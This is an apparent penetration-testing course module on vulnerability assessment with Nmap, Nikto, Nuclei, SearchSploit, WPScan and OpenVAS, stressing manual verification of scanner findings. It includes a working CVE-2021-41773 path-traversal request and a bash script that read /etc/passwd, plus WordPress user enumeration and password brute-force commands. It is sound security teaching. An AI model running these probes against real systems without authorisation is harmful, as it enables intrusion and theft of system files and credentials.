Module 3 – Vulnerability Assessment: From Automated Scans to Manual Verification
"Tools find bugs. Humans find business logic."
Welcome to the most actionable module of your penetration testing journey. If reconnaissance is about finding what exists, vulnerability assessment is about proving what hurts. In this guide, we’ll move beyond theory and run real commands against real scenarios—then learn why automated findings are just the beginning.
What Is Vulnerability Assessment?
Think of it as a health checkup for systems. You use specialized tools to probe for known weaknesses—misconfigurations, outdated software, default credentials, or missing patches—and then manually verify whether they’re actually exploitable.
⚠️ Golden Rule: Automated scanners cry wolf. Always verify before you report.
The Arsenal: Tools You’ll Master
| Tool | Purpose | Best For |
|---|---|---|
| Nmap NSE | Network discovery + scripting | Host-level vuln detection |
| Nikto | Web server scanner | Misconfigurations, outdated web software |
| Nuclei | Fast, template-based scanning | CVEs, misconfigs at scale |
| SearchSploit | Offline exploit database | Matching findings to public exploits |
| WPScan | WordPress specialized | WP plugins, themes, users |
| OpenVAS / Nessus | Enterprise vulnerability management | Comprehensive reporting |
1. Nmap NSE: The Network Detective
Nmap’s NSE (Nmap Scripting Engine) turns a port scanner into a vulnerability scanner. The --script=vuln category runs scripts that check for common vulnerabilities.
The Command
1nmap -sV --script=vuln target.com
What It Does
- Detects service versions (
-sV) - Runs vulnerability checks against those services
- Flags known CVEs, default credentials, and misconfigurations
Pro Tip: Target Specific Scripts
1# Check for SMB vulnerabilities (EternalBlue, etc.) 2nmap -p445 --script=smb-vuln* target.com 3 4# Check for SSL/TLS weaknesses 5nmap -p443 --script=ssl-enum-ciphers,ssl-heartbleed target.com 6 7# Aggressive scan with all vuln scripts 8nmap -A --script=vuln target.com
Sample Output You’ll See
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (EternalBlue)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
🎯 Manual Verification Step: Nmap says it’s vulnerable? Fire up
msfconsoleor a PoC script to confirm. Never report "potentially vulnerable"—prove it.
2. Nikto: The Web Server Bloodhound
Nikto is a classic but gold web scanner. It’s noisy, thorough, and excellent at finding low-hanging fruit.
The Command
1nikto -h https://target.com
Power User Flags
1# Scan with SSL, follow redirects, output to HTML 2nikto -h https://target.com -ssl -C all -output nikto_results.html 3 4# Scan specific port 5nikto -h target.com -p 8080 6 7# Use a specific plugin (e.g., check for CGI vulnerabilities) 8nikto -h target.com -Tuning 1
What Nikto Finds
- Outdated server software (Apache, Nginx, IIS)
- Dangerous files (
/phpmyadmin,/backup.zip) - Misconfigured headers (missing X-Frame-Options, HSTS)
- Default installations and weak SSL configs
Sample Output
+ Apache/2.4.41 appears to be outdated (current is at least 2.4.54)
+ /backup/: Directory indexing found
+ /phpinfo.php: PHP version information leaked
🎯 Manual Verification Step: Found
/backup.zip? Download it. Check if it contains source code, credentials, or database dumps. A 200 OK response means nothing if the file is empty.
3. Nuclei: The Modern Speed Demon ⭐
If you learn one tool from this module, make it Nuclei. It’s fast, community-driven, and uses YAML templates to detect thousands of CVEs and misconfigurations.
Installation
1# Install via Go 2go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest 3 4# Update templates 5nuclei -update-templates
The Commands
1# Basic scan against a single target 2nuclei -u https://target.com 3 4# Scan for specific template categories 5nuclei -u https://target.com -t cves/ -t vulnerabilities/ 6 7# Scan with severity filtering 8nuclei -u https://target.com -s critical,high 9 10# Scan a list of targets 11nuclei -l targets.txt 12 13# Rate-limited scan (be polite!) 14nuclei -u https://target.com -rl 10
Template Categories You Should Know
| Category | Description |
|---|---|
cves/ | Known CVE detections |
vulnerabilities/ | Generic vulnerability checks |
misconfiguration/ | Security misconfigurations |
exposures/ | Sensitive data exposure |
technologies/ | Tech fingerprinting |
Pro Workflow
1# Full recon + vuln scan pipeline 2subfinder -d target.com | httpx | nuclei -t cves/ -t vulnerabilities/ -o nuclei_results.txt
Sample Output
[2026-08-13 11:22:33] [apache-detect] [tech] [info] https://target.com [Apache/2.4.49]
[2026-08-13 11:22:45] [CVE-2021-41773] [critical] [path-traversal] https://target.com/cgi-bin/.%2e/.%2e/.%2e/etc/passwd
🎯 Manual Verification Step: Nuclei found CVE-2021-41773 (Apache path traversal)? Try the exploit manually:
1curl --path-as-is http://target.com/cgi-bin/.%2e/.%2e/.%2e/etc/passwd
If you get /etc/passwd, it’s confirmed. If you get 404, it’s a false positive.
4. SearchSploit: Match Findings to Exploits
Found a version number? SearchSploit connects it to a working exploit.
The Commands
1# Search for Apache 2.4.49 exploits 2searchsploit apache 2.4.49 3 4# Copy exploit to current directory 5searchsploit -m 50383 6 7# Search with exact match 8searchsploit -w apache 2.4.49
Sample Output
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE) | multiple/remote/50383.sh
🎯 Manual Verification Step: Read the exploit code before running it. Understand what it does. Does it write files? Does it require authentication? Modify it for your target if needed.
5. WPScan: WordPress Specialist
WordPress powers 43% of the web—and most vulnerabilities live in plugins and themes.
The Command
1# Basic scan 2wpscan --url https://target.com 3 4# Aggressive scan (enumerate users, plugins, themes) 5wpscan --url https://target.com --enumerate u,p,t 6 7# Scan with API token (for vulnerability database) 8wpscan --url https://target.com --api-token YOUR_TOKEN --enumerate vp 9 10# Brute-force check (if you have a wordlist) 11wpscan --url https://target.com --passwords passwords.txt --usernames admin
What WPScan Finds
- Outdated WordPress core
- Vulnerable plugins/themes (with CVE references)
- Exposed user accounts (
/wp-json/wp/v2/users/) - Weak login credentials
- Directory listing, backup files
🎯 Manual Verification Step: WPScan flagged a plugin as vulnerable? Visit
/wp-content/plugins/vulnerable-plugin/directly. Check thereadme.txtfor version numbers. Download the public PoC and test it in a safe environment first.
6. OpenVAS / Nessus: Enterprise-Grade Scanning
For comprehensive assessments, these tools provide scheduled scanning, asset management, and PDF reporting.
Quick Comparison
| Feature | OpenVAS (Greenbone) | Nessus (Tenable) |
|---|---|---|
| Cost | Free / Open Source | Paid (Pro ~$3k/year) |
| Updates | Community feeds | Professional feeds |
| Reporting | Good | Excellent |
| Best For | Budget-conscious teams | Enterprise environments |
OpenVAS Quick Start
1# Install (Kali) 2sudo apt install openvas -y 3sudo gvm-setup 4sudo gvm-start 5 6# Access at https://127.0.0.1:9392
🎯 Manual Verification Step: OpenVAS might report "SSL Medium Strength Cipher Suites Supported." Don’t just paste that. Run
nmap --script ssl-enum-ciphers -p443 target.comto identify the exact weak cipher, then test if it’s actually exploitable with tools liketestssl.sh.
The Verification Checklist: Never Skip This
Automated tools are signal generators, not truth tellers. Before you write "VULNERABLE" in your report, answer these:
| Question | How to Verify |
|---|---|
| Is the version actually correct? | Banner grab manually with nc or curl -I |
| Is the service actually exploitable? | Run a benign PoC (read-only, no damage) |
| Is there a compensating control? | Check for WAFs, patches, or custom configs |
| Can I reproduce it consistently? | Run the test 3 times, document exact steps |
| What’s the business impact? | Data breach? RCE? Denial of service? |
Manual Verification Script Template
1#!/bin/bash 2# verify_apache_traversal.sh 3# Manual verification for CVE-2021-41773 4 5TARGET=$1 6if [ -z "$TARGET" ]; then 7 echo "Usage: $0 <target>" 8 exit 1 9fi 10 11echo "[*] Testing path traversal on $TARGET..." 12RESPONSE=$(curl -s --path-as-is "http://$TARGET/cgi-bin/.%2e/.%2e/.%2e/etc/passwd") 13 14if echo "$RESPONSE" | grep -q "root:"; then 15 echo "[!] CONFIRMED: Path traversal vulnerability exists!" 16 echo "$RESPONSE" | head -5 17else 18 echo "[-] Not vulnerable or path not accessible." 19fi
Lab Exercise: Your First Vulnerability Assessment
Scenario: You’re hired to assess testlab.tech3spce.com.
Step-by-Step Workflow:
1# Step 1: Host discovery & port scanning 2nmap -sV -p- testlab.tech3spce.com -oN nmap_results.txt 3 4# Step 2: Run vulnerability scripts 5nmap -sV --script=vuln testlab.tech3spce.com -oN nmap_vuln.txt 6 7# Step 3: Web scanning 8nikto -h https://testlab.tech3spce.com -ssl -output nikto.html 9 10# Step 4: Fast CVE scanning 11nuclei -u https://testlab.tech3spce.com -t cves/ -t vulnerabilities/ -o nuclei.txt 12 13# Step 5: Match findings to exploits 14searchsploit apache 2.4.49 # (if Apache found) 15 16# Step 6: WordPress check (if applicable) 17wpscan --url https://testlab.tech3spce.com --enumerate vp 18 19# Step 7: Manual verification of ALL findings 20# (Use the checklist above)
Key Takeaways
- Automate first, verify always. Tools save time; judgment saves credibility.
- Nuclei is your daily driver for fast, accurate CVE detection.
- Nmap NSE is unbeatable for host-level assessment.
- Nikto still catches web misconfigurations that others miss.
- SearchSploit bridges the gap between "vulnerable" and "exploitable."
- WPScan is non-negotiable for WordPress targets.
- Document everything. A finding without evidence is just a theory.
"The best vulnerability assessment isn’t the one that finds the most bugs—it’s the one that finds the most accurate bugs."
Ready for Module 4 – Exploitation? Master these tools first. A hacker who can’t verify findings is just running noisy software.
Published on tech3spce | Penetration Testing Series